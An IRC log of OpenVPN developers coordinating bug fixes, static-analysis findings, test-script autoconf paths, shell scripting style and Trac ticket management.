<@cron2> mattock: does it work for out-of-tree builds now? 11:38 <@mattock> cron2: I have absolutely no clue 11:39 <@mattock> I remember you reported that problem, but did not (afaicr) give instructions on how to reproduce the problem 11:49 <@cron2> "build and run 'make test' out of tree" 11:49 <@cron2> (with a t_client.rc in place, which is lacking EXPECT_ lines) 11:53 <@mattock> ok 11:58 <@mattock> is meeting now +7 minutes or in 1 hour 7 minutes? 12:13 <@mattock> apparently in 52 minutes :) 12:25 <@mattock> cron2: "Options error: --up script fails with '../tests/update_t_client_ips.sh': No such file or directory" 12:26 <@mattock> that is apparently the problem? 12:28 <@cron2> yes 12:28 < slypknot> i am missing that stup ei. --up 12:28 < slypknot> step* 12:29 <@cron2> the path name needs to be something like ${srcdir}/tests/update_t_client_ips.sh 12:32 < slypknot> <-- read the comments (this --up script ...) 12:48 <@mattock> cron2: I actually fixed the issue by aping t_client.sh in configure.ac 12:49 <@cron2> aping? 12:49 <@mattock> AC_CONFIG_FILES([tests/t_client.sh], [chmod +x tests/t_client.sh]) 12:49 <@mattock> +AC_CONFIG_FILES([tests/update_t_client_ips.sh], [chmod +x tests/update_t_client_ips.sh]) 12:50 <@mattock> on top of that update_t_client_ips.sh just needs to renamed as update_t_client_ips.sh.in 12:50 <@cron2> well, this will copy over the script to the other directory... 12:50 <@mattock> yes, the same is done for t_client.sh 12:50 <@cron2> I'm not sure why this is "better" than "just call it with the correct path"... 12:50 <@cron2> well, t_client.sh gets adapted (fping paths, and such) 12:50 <@mattock> isn't that what t_client.rc is for? 12:50 <@mattock> or you mean by autoreconf? 12:50 <@cron2> not for system dependent stuff that configure knows about 12:51 <@cron2> configure will find stuff (shell, operating system, fping, iproute2, ...) and put the results into t_client.sh - which is why it's in configure.ac 12:51 <@mattock> well, I can definitely fix the path, if that is seen as more clean 12:51 <@cron2> if you think update_t_client_ips.sh benefits from this, it's a useful approach - otherwise it's just copying around a file, instead of calling it with the right path 12:51 <@cron2> depends on what you want to do :) 12:52 <@cron2> "call the script where it is" or "copy the script where you happen to call it" 12:52 <@mattock> well, right now we don't have any need for dynamical content in update_t_client_ips.sh 12:52 <@cron2> in that case, I'd just call it from ${srcdir}/tests/ - but maybe dazo has better ideas, he understands the "autoconf mantra" better (what should go where) 12:53 <@mattock> autoconf is way too magic for me, and it is unlikely I can ever really spend enough time to understand it :P 12:53 <@mattock> let's see if dazo has opinions on this 13:05 < diizzy> cron2: PSU --> Get a branded cell charger, Sony or Samsung 13:05 < diizzy> gps module and case is a bit trickier 13:05 < diizzy> pollin might have a gps module 13:06 <@cron2> yeah, need to see how the price changes when I leave off the PSUs and order just 2x Neo, 1x GPS, 1x Case 13:06 <@cron2> pollin is a customer as well, so "fine!" but I actually want *this* GPS module, as it nicely fits connectors and everything 13:07 < diizzy> http://www.pollin.de/shop/dt/ODc1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_USB_GPS_MODUL.html 13:07 <@vpnHelper> Title: ODROID USB-GPS-MODUL - Bauelemente / Bauteile - Entwicklerboards - - Pollin Electronic (at www.pollin.de) 13:07 < diizzy> a bit larger probably however :) 13:09 < diizzy> conrad have a few boards but they are quite expensive 13:38 <@dazo> mattock: I think placing update_t_client_ips.sh in ${srcdir}/tests/ makes sense .... if you have autoconf issues, let me know what those are and we'll work'em out somehow 13:38 <@cron2> that is where it is - it fails today, because t_client.sh calls ../tests/ which breaks out-of-build runs 13:40 <@dazo> right, it should execute ${srcdir}/tests/update_t_client_ips.sh wherever it is called, and not any relative path 13:40 <@cron2> mattock: there's your answer :) 13:40 <@dazo> we have some simple stuff in the beginning of those t_*.sh script which already ensures ${srcdir} is present 14:23 <@dazo> plaisthos: could you please have a look at syzzer's CRL patch? 14:28 <@dazo> slypknot: I just tested %i in the RuntimeDirectory= ... at least on RHEL7, that won't work .... it literally creates /run/openvpn-server_%i and does not create any substitution 15:12 < slypknot> dazo: is there a way to retrun systemd version ? 15:12 < slypknot> return* 15:17 < slypknot> man systemd says: systemd --version .. $ systemd --version = -bash: systemd: command not found 15:18 < slypknot> systemctl --version returns 231 and some technical details 15:19 < slypknot> good grief .. systemd is all over the place on different distros 15:23 < Thermi> slypknot: systemd is usually not in PATH. 15:24 < slypknot> Thermi: systemd does not even exist on archlinux 15:24 < Thermi> slypknot: I'm on ARch right now. 15:24 < slypknot> at least i can't find it 15:25 < Thermi> /usr/lib/systemd/systemd 15:26 < slypknot> thanks :) 15:29 < danhunsaker> Binaries aren't supposed to live in the lib directories... But, alas, many do anyway. 15:29 < slypknot> i think it is systemd teething 15:29 < Thermi> Systemd init binary. 15:29 < Thermi> It's the init daemon. 15:31 <@cron2> meh 15:31 <@cron2> this is particularily stupid code 15:31 <@cron2> phase2_inetd (sock, frame, remote_dynamic, &sig_info->signal_received); 15:31 <@cron2> if (sig_info && sig_info->signal_received) 15:32 <@cron2> (because if it is, we already crashed) 15:32 < danhunsaker> That does look to be backwards, yeah... 15:36 <@cron2> that function has a single call chain, and sig_info points to &c->sig with the global context, which is initialized right away in openvpn_main() 15:47 < SviMik> cron2 PVS-Studio can actually detect it. http://svimik.com/pvsstudio1.png 15:48 <@cron2> nice :) - but so can coverity, which is why I ended up looking at these lines 15:48 <@cron2> someone needs to find time to submit openvpn to PVS as well, and then look at the results 15:49 < SviMik> ++ 15:51 <@cron2> mmmh. the crypto.c one is for syzzer to fix up, though it's totally not relevant - it's in the crypto self test code, a non-checked buf_alloc() call 15:52 <@cron2> buf_write_alloc() 15:55 < SviMik> just found in my real project: 15:55 < SviMik> V805 Decreased performance. It is inefficient to identify an empty string by using 'strlen(str) == 0' construct. A more efficient way is to check: str[0] == '\0'. main.cpp 67 15:56 <@cron2> fascinating :-) (though a modern compiler might optimize it into the same net result) 15:56 <@cron2> as strlen() is usually "known to the compiler" and highly optimized 15:59 <@cron2> if I read the output of clang -S -O3 right, it does... 16:00 <@cron2> both end up being 16:00 <@cron2> cmpb $0, string(%rip) 16:00 < SviMik> still, good catch. I'd better write a macro rather than believe in compiler 16:00 < SviMik> especially if it's visual studio, and not the latest version 16:00 <@cron2> good point :) 16:01 <@dazo> slypknot: systemctl --version 16:14 < SviMik> http://svimik.com/pvsstudio_V512.png 16:14 < SviMik> didn't know that... 16:18 < SviMik> though I wouldn't write that :) 16:18 <@dazo> strncpy() (and strcpy() ) are dangerous functions .... generally known to be too easy to cause buffer overflows .... some believes strlcpy() would be an improvement, but that's not going to happen in glibc ... https://lwn.net/Articles/612244/ 16:18 <@vpnHelper> Title: Adding strlcpy() to glibc [LWN.net] (at lwn.net) 16:22 < SviMik> well, C is dangerous language overall. you can shoot oneself in the foot with another foot. 16:23 <@dazo> yeah 16:24 < Thermi> Just write everyting in Go or D. 16:24 <@dazo> Rust 16:24 * Thermi pukes into a corner of the room 16:25 -!- Thermi was kicked from #openvpn-devel by dazo [Doesn't like the smell caused by Thermi] 16:25 < Thermi> :( 16:25 <@dazo> ;-) 16:26 < SviMik> Thermi these languages are like https://xkcd.com/927/ 16:26 <@vpnHelper> Title: xkcd: Standards (at xkcd.com) 16:26 < Thermi> SviMik: My thoughts. --- Day changed Tue Nov 08 2016 02:14 <@cron2> we have funky code in init.c 02:22 <@syzzer> cron2: we have funky code all over the place :p 02:23 <@cron2> right 02:24 <@cron2> I think the coverity route_init_ipv6_list() warning could actually be a true bug, like in "openvpn will crash" 02:24 <@cron2> ... but if at all, only if run as --inetd 02:25 <@syzzer> well, that al least narrows it down a bit 02:25 <@cron2> let me see if I can crash it :) 02:26 <@cron2> bah 02:28 <@cron2> it's just not crashing... 02:52 <@cron2> 2 patches for coverity NULLs on the list 02:53 <@syzzer> 1 ACK on the list 03:05 <@vpnHelper> RSS Update - gitrepo: clean up *sig_info handling in link_socket_init_phase2() <https://github.com/OpenVPN/openvpn/commit/238cd6440312c59353a40a97b3c45d272561457f> 03:06 <@syzzer> dazo: d12fk's 1/7 fails for mbed tls builds :( 03:07 <@syzzer> or, actually, mbed tls builds that use MBEDTLS_LIBS and MBEDTLS_CFLAGS to determine the library/header location 03:11 <@syzzer> cron2: 2nd ACK on the list 03:12 <@cron2> whee! 03:12 * cron2 hasn't even decided on the 3rd one :) 03:23 <@cron2> 3rd one sent! 03:23 <@cron2> (trivial, and arguably not really *needed*) 03:28 <@cron2> the two warnings about hash_remove() and hash_add() in multi.c, 2343/2344 are a bit tougher - both functions CAN return "false" if the key already exists (on add) / does not exist 03:28 <@vpnHelper> RSS Update - gitrepo: check c->c2.link_socket before calling do_init_route_ipv6_list() <https://github.com/OpenVPN/openvpn/commit/71e7c5f25174a3046a32720d3d6eb77f87458217> 03:28 <@cron2> so this needs deeper understanding of the multi.c stuff 03:36 -!- dazo [~dazo@openvpn/corp/developer/dazo] has left #openvpn-devel ["Leaving"] 03:37 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:40 <@dazo> plaisthos: something we can do about these? 03:40 <@dazo> ld: warning: directory not found for option '-L/usr/local/Cellar/openssl/1.0.2hj/lib/' 03:40 <@dazo> Undefined symbols for architecture x86_64: 03:40 <@dazo> "_SSL_CTX_get0_certificate", referenced from: 03:40 <@dazo> _tls_ctx_check_cert_time in ssl_openssl.o 03:40 <@dazo> "_SSL_export_keying_material", referenced from: 03:40 <@dazo> _key_state_export_keying_material in ssl_openssl.o 03:40 <@dazo> ld: symbol(s) not found for architecture x86_64 03:40 <@dazo> clang: error: linker command failed with exit code 1 (use -v to see invocation) 03:41 <@cron2> argh, what silly code this is 03:41 <@dazo> slypknot: still waiting for a patch from you in regards to the FPING_EXTRA_ARGS feature 03:41 <@cron2> shaper_reset() takes great care to make sure s->bytes_per_second is between SHAPER_MIN and SHAPER_MAX, but *only* if it's not 0, in which case, it will be 0, and the next line will divide by 0 03:41 <@dazo> ouch! 03:42 <@cron2> dazo: plaisthos needs to fix this on the buildslave side 03:42 <@cron2> I assume shaper_reset() will only be called if bytes_per_second is non-zero, but silly code nonetheless 03:42 <@dazo> cron2: right ... just giving a reminder it needs to be fixed ;-) 03:44 <@cron2> and why we have a function that is only called a single time in the cold path as an inline escapes me 03:46 <@dazo> the shaper feature probably worked reasonably okay in p2p in the pre-2.0 days ... but it's known to be quite broken on p2mp mode .... as it makes sense to have it on the server side, and IIRC, it will limit the total bandwidth of all clients, but only in one direction (the other direction is set on the remote side) 03:47 <@dazo> and traffic shaping probably works better if doing on the OS side, not inside OpenVPN ... so I'm wondering for this shaping is getting in shape to be deprecated and removed in 2.5 .... 03:47 <@dazo> deprecated in 2.4 03:48 <@dazo> (we can keep the --shaper options in 2.5, but make them just print a warning it's a NOOP) 03:49 <@cron2> you can't shape per-client on the OS level 03:50 <@cron2> (and, not all OSes can do this at all...) 03:50 <@dazo> but can't you shape both directions on the server side, making it per client and not per openvpn process? 03:50 <@dazo> (via tc or similar) 03:51 <@cron2> if you know the client's ip, and want openvpn to call out to $script whenever a client floats to a new IP... 03:51 <@cron2> (and for shaping to work well, you do it outbound) 03:51 <@dazo> right, floating adds a challenge 03:51 <@cron2> people do run servers on non-linux platforms, you know? :) 03:53 <@dazo> yeah ... but which relevant OSes is primarily used for OpenVPN where shaping is relevant ;-) .... I'm thinking that's primarily Linux and FreeBSD (and perhaps a few handfuls OpenBSD installs) 03:55 <@cron2> people do run openvpn servers on windows... 03:55 <@dazo> syzzer: regarding the argv_* patch ... you're right, it is possible to apply it now - but as I haven't had a chance to really look at the other patches I don't know if there's something which should better be fixed in 1/7 when looking at the others 03:57 <@syzzer> dazo: well, 1/7 on its own is useful I'd say 03:57 <@dazo> syzzer: what will work though, is if you apply the first argv patch to your working branch before your tls-crypt .... when it arrives master and you do a rebase, your locally applied patch will be replaced automatically (unless there are some bigger changes which causes a merge conflict - which shouldn't be too likely - /me knocks on wood) 03:57 <@syzzer> dazo: yeah, that's what I did just now :) 03:58 <@syzzer> but since 1/7 was acked and looks useful on its own, I thought it would make sense for me to wait with sending the patch set until it's actually applied 03:58 <@dazo> cool :) .... I promise I'll have a really high barrier to want a change in patch 1/7 ;-) 03:58 <@dazo> yeah, I can be open to apply it, but I'll try to get more of these patches reviewed today, so it won't be next week 03:59 <@dazo> this is the biggest patch in this series, so the others will hopefully go quicker and easier 03:59 <@dazo> (in fact, I was just about to start digging into that now) 03:59 <@syzzer> I'll send out the tls-crypt patches today, to give plaisthos as much time as possible to review them 03:59 <@syzzer> great :) 04:00 <@dazo> even though these argv patches wasn't on our target list for 2.4, I think this clean up is really valuable ... and we get more unit tests on code used many places 04:00 <@syzzer> let's see where we're at in the afternoon, and decide what makes sense the most 04:00 <@cron2> syzzer: could you have a look at do_init_crypto_tls_c1() and tell me if the "case AR_INTERACT" fall-through is correct? 04:01 <@syzzer> just having a small set of 'core' unit tests is extremely valuable 04:01 <@dazo> I'll be working until 15:45 or so this afternoon, and then again in the evening after $kid is a sleep 04:01 <@syzzer> makes it so much easier for others to add tests 04:01 <@syzzer> cron2: checking now... 04:01 <@dazo> yeah! 04:02 <@cron2> syzzer: "it seems to make sense", though, as the same AR_INTERACT/AR_NONINTERACT fall through is repeated in receive_auth_failed() in push.c... 04:03 <@syzzer> yes, at least at first sight this looks correct 04:06 <@cron2> ok... coverity complains about it, and I have no idea what is happening around that :) 04:06 <@syzzer> on second though too, this looks correct 04:07 <@syzzer> it's basically "if (interact) clear_cache();" and later "if (cache_empty()) ask_passwd()" 04:08 <@syzzer> in either case, a sigusr1 will trigger the retry 04:12 <@syzzer> cron2: you're upping your commit count at a high pace : 04:17 <@cron2> \o/ 04:26 <@cron2> syzzer: could you pull/rebase/push to coverity? I'm curious whether it will be happier now :) 04:28 <@syzzer> cron2: will do 04:29 <@cron2> so, enough "commit bumping to make coverity happy", now off to "commit bumping to make trac happy" :) 04:31 <@vpnHelper> RSS Update - gitrepo: Fix potential division by zero in shaper_reset() <https://github.com/OpenVPN/openvpn/commit/9c3a9335ee77d8447bf47e464f4ab15964fb6f1b> || Check previously-unchecked buf_alloc_write() call in crypto self-test. <https://github.com/OpenVPN/openvpn/commit/63bdc6ce66a970f0584bbb1d4a8cae98b36ee831> 04:32 <@syzzer> done 04:50 <@syzzer> hm, teh travis-ci builder seems to be broken :/ "verify error:num=19:self signed certificate in certificate chain" 04:53 <@cron2> so which certificate is missing "something"...? 04:54 <@syzzer> not sure, now looking into it 05:00 <@mattock> dazo: there? 05:00 <@dazo> mattock: I am 05:00 <@mattock> have time to preview a few patches? 05:00 <@mattock> as our resident autotools expert 05:01 <@dazo> sure! just a sec 05:01 <@mattock> I'll send them to you directly first 05:01 <@dazo> cool! 05:01 <@mattock> sent 05:02 <@mattock> both have been tested with in-tree and out-tree builds 05:03 <@mattock> I'm not entirely sure about the "--up ${srcdir}/update_t_client_ips.sh" in t_client.sh.in 05:03 <@mattock> ${srcdir} translates to ".", which means "openvpn/tests" 05:04 <@mattock> it is used in t_client.sh.in in the similar fashion, but it seems kind of odd choice for a name (not my choice, though) 05:07 <@cron2> I think this is "where the source of that script was found" in autotool language 05:07 <@cron2> there is also ${src_topdir} or something like that 05:10 <@mattock> ah 05:10 <@mattock> in any case, I tested the two patches pretty thoroughly, but I wanted to make sure there are no hidden issues there 05:14 <@dazo> I'll look at them now 05:14 <@mattock> dazo: ok, great! 05:14 <@mattock> if they look good, I'll send them to the list along with the FPING_EXTRA_ARGS patch 05:15 <@dazo> wonderful! 05:15 <@cron2> \o/ 05:16 <@dazo> if anyone would have chance to review these two patches for auth-gen-token, I'd appreciate that! https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12848.html 05:16 <@vpnHelper> Title: [Openvpn-devel] [PATCH 0/2] auth-gen-token: Inform client why auth-token was rejected (at www.mail-archive.com) 05:19 <@dazo> especially patch 1/2 is critical ... needs to be verified we've covered enough code paths in the refactoring 05:20 <@mattock> fping patch ready and tested 05:23 <@dazo> Hmmm ... I'm slightly sceptical to this approach: grep EXPECT_IFCONFIG6_$TESTNUM $TOP_BUILDDIR/t_client_ips.rc || echo ... >> $TOP_BUILDDIR/t_client_ips.rc 05:23 <@cron2> y? 05:24 <@cron2> mmmh 05:24 <@dazo> I'd recommend to do put the grep into a temp file which is moved to overwrite t_client_ips.rc ... I've just experienced some odd race conditions where the destination file ended up with unexpected data 05:24 <@dazo> In Red Hat, this kind of stuff was forbidden as it could in some cases introduce hard-to-reproduce bugs 05:24 <@cron2> the grep output is ignored, not put into that file 05:25 <@mattock> indeed 05:25 <@cron2> (the >> relates the echo only, not to grep) 05:25 <@cron2> but the *grep* part should receive a ">/dev/null", because we do not want to see the output 05:25 <@mattock> I tested that, because the same problem came into my mind 05:25 <@cron2> or make it nice 05:26 <@cron2> if grep ... >/dev/null 05:26 <@cron2> then 05:26 <@cron2> : # already there 05:26 <@cron2> else 05:26 <@cron2> echo blargh >> ... 05:26 <@cron2> fi 05:26 <@dazo> okay, then it should be enclosed in () .... just to be explicit ... and add >/dev/null on the grep 05:26 <@cron2> dazo: *no* 05:26 <@dazo> or what cron2 saus 05:26 <@dazo> says* 05:26 <@mattock> does the ( ) thing work on all our buildslaves? 05:26 <@cron2> shell is very well defined here, brackets will actually do what you said we should not do 05:26 <@cron2> ( grep || echo ) >> foo 05:26 <@dazo> no 05:26 <@cron2> will make "grep" output be appended to "foo" 05:26 <@dazo> grep || (echo >> foo) 05:27 <@cron2> no 05:27 <@cron2> this is well-defined, adding brackets to run a subshell for no good is not the right answer 05:27 <@cron2> >> only ever applies to a single command, never to a whole pipeline 05:27 <@cron2> (unless the pipeline is in (), which makes it a single command from the caller's pov) 05:28 <@dazo> I prefer the nice approach most of all though, that is most clear 05:28 <@cron2> true :) 05:28 <@mattock> readability is more important than sparing a minimal amount of memory/cpu imho 05:28 <@dazo> agreed 05:29 <@cron2> oh the waste of disk space and download bandwidth! :-) (no, I'm not serious) 05:29 <@dazo> heh :) 05:32 <@mattock> so would this be readable enough: http://pastebin.com/FwYVem0U 05:32 <@mattock> it even does not have the ( )'s 05:32 <@mattock> that also gets rid of the error on the first run when grep can't find t_client_ips.rc 05:34 <@dazo> https://paste.fedoraproject.org/475431/4502147/raw/ ... that's what I meant 05:34 <@dazo> you can also combine the two first lines too, but this approach is what's used elsewhere in t_client.sh.in 05:34 <@mattock> oh but that is so many lines :P 05:34 <@mattock> yeah, that is even more readable 05:35 <@mattock> cron2: any objections to dazo's approach? 05:36 <@mattock> -> lunch 05:38 <@cron2> mattock: works for me, is a bit more explicit on "we check the return code" 05:38 <@cron2> if grep ... ; then ... 05:38 <@cron2> tends to confuse people that do not understand what "if" does in the shell :) 05:39 <@cron2> (and with the "we check for the negative" thing, we really need an "if ! grep" or "unless grep", which shell doesn't do) 05:40 <@dazo> and the ':' detail in shell is also a thing which can confuse, which would most likely be used in if grep ....; then ... else ...fi 05:41 <@cron2> as well 05:43 <@d12fk> syzzer: any hints on why the mbed build fail? 05:43 <@d12fk> i suppose it's the test drivers build that fails 05:44 <@dazo> mattock: otherwise, things looks good ... just glared at the changes though, I'll spin a few tests in a bit (after d12fk's patches) ... but if you are confident it runs fine with 'make distcheck' tarbals *and* 'make check' in both git tree and extracted tarballs, then it should be good 05:45 <@dazo> d12fk: got a pastebin with the build error? 05:46 <@d12fk> dazo: syzzermentioned the mbed builds failing with 1/7 applied 05:46 <@d12fk> [08.11.16 10:00:45] <syzzer> dazo: d12fk's 1/7 fails for mbed tls builds :( 05:46 <@dazo> oh!? let me double check ... I thought I did an mbedtls build 05:46 <@plaisthos> syzzer: I will look at them at the plane on Thursday anyway :) 05:48 <@dazo> d12fk: just noticed I've run your four first patches with mbedtls builds .... using mbedtls-2.3.0-1.el7.x86_64 05:48 <@dazo> d12fk: I have no issues, afaict 05:49 <@d12fk> yeah that's what i'd expected. could be that it's interfering with syzzer unit test, as for the src/openvpn dir practically nothing changed 05:50 <@dazo> yeah 05:50 <@d12fk> anyway, have to get back into the meeting, will check back later 05:50 <@dazo> sure! have fun :) 05:52 <@cron2> whoever invented the route syntax on FreeBSD must have drunk 05:53 <@cron2> it's "route add network gateway netmask"... and no "/xx" notation 05:53 <@dazo> heh :) 05:53 <@dazo> FreeBSD needs iproute2 ;-) 05:54 <@cron2> oh, actually they do support "network/xx gateway", it's just not documented in a direct way... it hides in a comment 05:54 <@cron2> 192.168.64/20 is interpreted as -net 192.168.64 -netmask 255.255.240.0 05:55 <@dazo> sounds like the openvpn code :-P 05:55 <@cron2> there is some semblance... 05:57 <@cron2> trac#425 is annoying... a quick fix would not touch route.c, but it is tempting to rework *that* to actually make the routes explicitly point into the tunnel ("route add ... -iface tun0") 05:58 <@cron2> we do that for v6, but do not do it for v4, because the v4 code can create arbitrary routes pointing elsewhere, like "just route $network to $thatotherhostonyourlan" 05:58 <@cron2> which I consider not overly useful, but *someone* will be using this 06:01 <@dazo> openvpn have the vpn_gateway, net_gateway, remote_host gateway macros to --route ... so I think we should make things correct in our code, and if people complain we'll add another macro to resolve it when we must 06:02 <@dazo> or we could have a check ... is [gateway] different than vpn_gateway or net_gateway, then don't add interface 06:03 <@cron2> this is all not going to be pretty, so it's a more massive refactoring of route.c 06:03 <@cron2> #763, the first ticket with "milestone release 2.5" :-) 06:03 <@dazo> fair enough 06:03 <@cron2> mattock: could you add 2.3.15, 2.3.16 as milestones, please? 06:03 <@dazo> I can have a quick look at adding those milestones 06:04 * dazo adds 2.5 as well 06:04 <@cron2> 2.5 is there 06:04 <@cron2> this why #763 has it :) 06:05 <@dazo> huh!? I've lost the capabilities to add milestones ... I can manipulate all the others though :/ 06:05 <@dazo> ah, there it is 06:05 <@vpnHelper> RSS Update - tickets: #763: Fix IPv4 routing code to use interface routes where possible <https://community.openvpn.net/openvpn/ticket/763> 06:06 <@dazo> no wait ... that's versions 06:06 <@dazo> hmmm 06:13 <@syzzer> d12fk, dazo: 1/7 fails when compiling against an SSL lib that's not in the regular includes / library path 06:14 <@syzzer> i.e. it does not obey OPENSSL_LIBS/MBEDTLS_LIB and OPENSSL_CFLAGS/MBEDTLS_CFLAGS 06:14 <@dazo> what fails? unit test or argv.[ch]? 06:14 <@syzzer> building the testdriver 06:14 <@dazo> ahh, okay 06:14 <@syzzer> I can send a fixup 06:14 <@syzzer> I have that locally now 06:15 <@dazo> yes please! I guess it's test/unit_tests/openvpn/Makefile.am ... or somewhere related 06:17 <@syzzer> indeeed 06:18 <@syzzer> I'm fixing the coverity bulids first 06:25 <@mattock> cron2: milestones added 06:25 <@cron2> thaks 06:26 <@dazo> mattock: can I haz da power too? ;-) 06:27 <@mattock> dazo: you now have TRAC_ADMIN permission 06:27 <@dazo> \o/ 06:27 * dazo feels privileged! :) 06:28 <@mattock> you are 06:29 <@cron2> so power hungry 06:29 <@dazo> lol 06:30 <@cron2> I bet the whole "go work for openvpn tech" thing is a plot to get trac admin!!! 06:30 * dazo whistles and tries to show some unicorns 06:31 <@dazo> oh look! http://www.canstockphoto.com/illustration/unicorn.html 06:31 <@vpnHelper> Title: Unicorn Illustrations and Stock Art. 2,936 Unicorn illustration graphics and vector EPS clip art available to search from thousands of royalty free clipart providers. (at www.canstockphoto.com) 06:31 <@cron2> aw shit 06:31 <@cron2> [IPv6 payload 20110522-1 (2.2.0)] built on Jan 22 2012 06:32 * cron2 just found an openvpn binary that behaved "slightly surprising"... 06:32 <@mattock> is it intentional that "make dist-<x>" does not copy t_client.rc-sample to tests/ 06:32 <@mattock> ? 06:32 <@cron2> this is so old it did not yet have git committish in the version string 06:32 <@cron2> mattock: yes 06:32 <@mattock> why? 06:33 <@cron2> why copy? 06:33 <@cron2> it's not something that will be used 06:33 <@cron2> uh, wait 06:33 <@mattock> t_client.sh and t_client.sh.in are there 06:33 <@cron2> what do you mean by "copy"? 06:33 <@mattock> I mean the tarball does not have it 06:33 <@mattock> make dist-gzip -> untar -> no tests/t_client.rc-sample 06:34 <@cron2> no, that's not intentional 06:34 <@cron2> I was not reading properly (I thought you were talking about "make check" copying it over to the build dir) 06:34 <@mattock> ok 06:34 <@mattock> no 06:34 <@mattock> I will need to fix that then 06:34 <@mattock> update_t_client_ips.sh is not tarred either 06:36 <@dazo> mattock: those new files needs to be added to dist_noinst_DATA, iirc 06:38 <@mattock> there's "dist_noinst_SCRIPTS" in tests/Makefile.am which handles all the test scripts (*.sh under tests) 06:38 <@mattock> the sample file should probably go to _DATA 06:38 <@dazo> yeah, exactly 06:38 <@cron2> argh 06:38 <@cron2> ARGH 06:38 <@cron2> dang 06:39 * dazo expects another 4 letter word from cron2 06:39 <@cron2> --topology subnet on FreeBSD *never* worked properly, but our test setup clerverly hid it 06:39 <@dazo> ouch 06:39 <@cron2> I config 10.194.3.x/24 on the interface - the 3.x sticks, but the /24 is lost 06:39 <@cron2> but since I also push 10.194.0.0/16 and that *works*, the fact that the /24 is lost is not visible 06:40 <@cron2> sh*t (here's your 4 letter word :) ) 06:40 <@dazo> :) 06:41 <@cron2> but even pushing 10.194.0.0/24 isntead of the /16 would have worked, as the .3.1 address is still pingable (due to "used as tun remote") 06:41 <@cron2> so you actually need two connected cliens trying to ping each other to see if top subnet really works 06:41 * cron2 is annoyed 06:42 <@dazo> we really begin to need something like beaker now, to start such advanced testing .... that have all the infrastructure to synchronize all test boxes and start testing in all directions - not restricted in number of involved test hosts .... but setting up beaker is a far bigger task 06:43 <@dazo> (we would need a set of hosts - virtual or bare metal, but the up-side is that they will be reinstalled each time and can then test more OS/distros) 06:44 <@dazo> https://beaker-project.org/ 06:44 <@vpnHelper> Title: Beaker lab automation project (at beaker-project.org) 06:45 <@dazo> meh ... they've narrowed the scope to RPM based distros :/ 06:45 <@cron2> no dice 06:45 <@dazo> yeah :/ 06:52 <@cron2> now that is interesting 06:52 <@cron2> the bug I just fixed for FreeBSD is trac#425, while trac#481 is also about "top subnet on freebsd", and that got fixed 18 months ago 06:54 <@cron2> mmmh, two ends of the same tunnel... 481 fixes "the client cannot ping itself" while 425 fixes "... and nobody else" 06:55 <@cron2> patch on the list :-) - I expect great excitement about reviewing a particularily dark and os-specific corner :-) 06:55 <@dazo> heh 07:02 <@mattock> four t_client patches on the list 07:17 < slypknot> mattock: I will try to test those patches 07:18 <@cron2> mattock: whee! 07:19 <@mattock> we really need to pay attention to "make dist" targets 07:19 <@dazo> mattock: and we do need to run 'make distcheck' more often too 07:19 <@mattock> they tend to be missing stuff quite often 07:19 <@mattock> yeah 07:19 <@dazo> distcheck will catch a lot of issues related to not packing all files 07:20 <@dazo> (and it is autotool developers recommendation to run distcheck before any release) 07:30 <@cron2> dazo: are you working on mattock's patch set right now? 07:32 <@cron2> mmh 07:36 <@cron2> the "when do I need to add --up ..." logic is funny 07:36 <@cron2> argh 07:36 <@cron2> if it finds *one* missing "expect" stanza, it will set up=... 07:36 <@cron2> ... and never reset it, so all further tests are also run with "--up ..." added, no matter if needed or not 07:37 * slypknot goes back to observer 07:39 <@syzzer> hrmpf, the coverity addon of travis-ci is not playing nicely 07:40 <@cron2> I told it that a few of those are false positives, so it's pouting 07:42 <@dazo> cron2: not right now 07:42 * dazo wants d12fk's patches out of the way first 07:43 <@dazo> slypknot: feel free to test ... the more eyes and testing, the better 07:43 <@cron2> good, so we're not conflicting 07:43 <@syzzer> well, if they're not capable of making their stuff work, I'll just blast their infra again, that worked yesterday... 07:44 <@cron2> oh, yeah, that really looks right :-) 07:44 <@cron2> EXPECT_IFCONFIG4_1=10.194.1.54 07:44 <@cron2> EXPECT_IFCONFIG6_1=fd00:abcd:194:1::100c 07:44 <@cron2> EXPECT_IFCONFIG4_1a=10.194.1.54 07:44 <@cron2> EXPECT_IFCONFIG6_1a=fd00:abcd:194:1::100c 07:44 <@cron2> EXPECT_IFCONFIG4_1a=10.194.2.54 07:44 <@cron2> EXPECT_IFCONFIG6_1a=fd00:abcd:194:2::100c 07:44 <@cron2> EXPECT_IFCONFIG4_1a=10.194.3.9 07:44 <@cron2> EXPECT_IFCONFIG6_1a=fd00:abcd:194:3::1007 07:44 <@cron2> if the script runs --up without having to, it will (of course) not have the right test number in there 07:44 <@cron2> ... clobbering the previous entry... 07:44 <@dazo> slypknot: in particular patch 4/4 from Samuli is basically the patch I've asked from you ... so if you can test that, it would be very good! 07:45 <@cron2> dazo: already NAKed 07:45 <@dazo> ehh 07:45 <@cron2> (it will work for slypknot's use case, but if we want this done right, the EXTRA_ARGS need to go to the end of the command line) 07:45 <@cron2> ((before $targets)) 07:45 <@dazo> agreed! 07:45 <@cron2> :) 07:48 <@mattock> cron2: re: " if it finds *one* missing "expect" stanza, it will set up=..." ... interesting, are you sure? 07:48 <@cron2> yes 07:49 <@cron2> try it out by removing EXPECT_IFCONFIG4_1 from your .rc file, and see that it runs every single openvpn call with "--up ..." set 07:49 <@cron2> nothing in that loop ever sets "up=..." back to "empty" 07:49 <@cron2> (or, initializes it as such, to start with, so having "export up=--break ; make check" might be an interesting one as well :-) ) 07:50 < Thermi> p 07:50 < Thermi> sorry, wrong window. 07:52 <@syzzer> yes, blasting worked: Defects eliminated: 4 07:53 <@cron2> \o/ 07:55 * cron2 NAKs 2/4... sorry... but dazo was not very creative in trying to break this 07:56 <@mattock> ok, so dazo 07:56 * dazo blames mattock for not having tested his own code well enough :-P 07:56 <@mattock> is there some git magic I could use to modify a patch in the middle of a series? 07:57 <@mattock> without having patches in separate branches 07:57 <@syzzer> dazo: fixup on the list. I'm off to a meeting now. 07:57 <@cron2> wait a moment 07:57 <@dazo> mattock: git rebase -i 07:57 <@dazo> well, git rebase -i HEAD~nnn where nnn is how far back you want to go 07:57 <@cron2> rebase first, then there are only 2(+1) left 07:58 <@dazo> then you get into vim where all patches are listed ... and you just replace the first word on the patch you want to edit with either 'e' or 'edit' 07:58 <@dazo> then you do your changes, git add + commit --amend ... and then git rebase 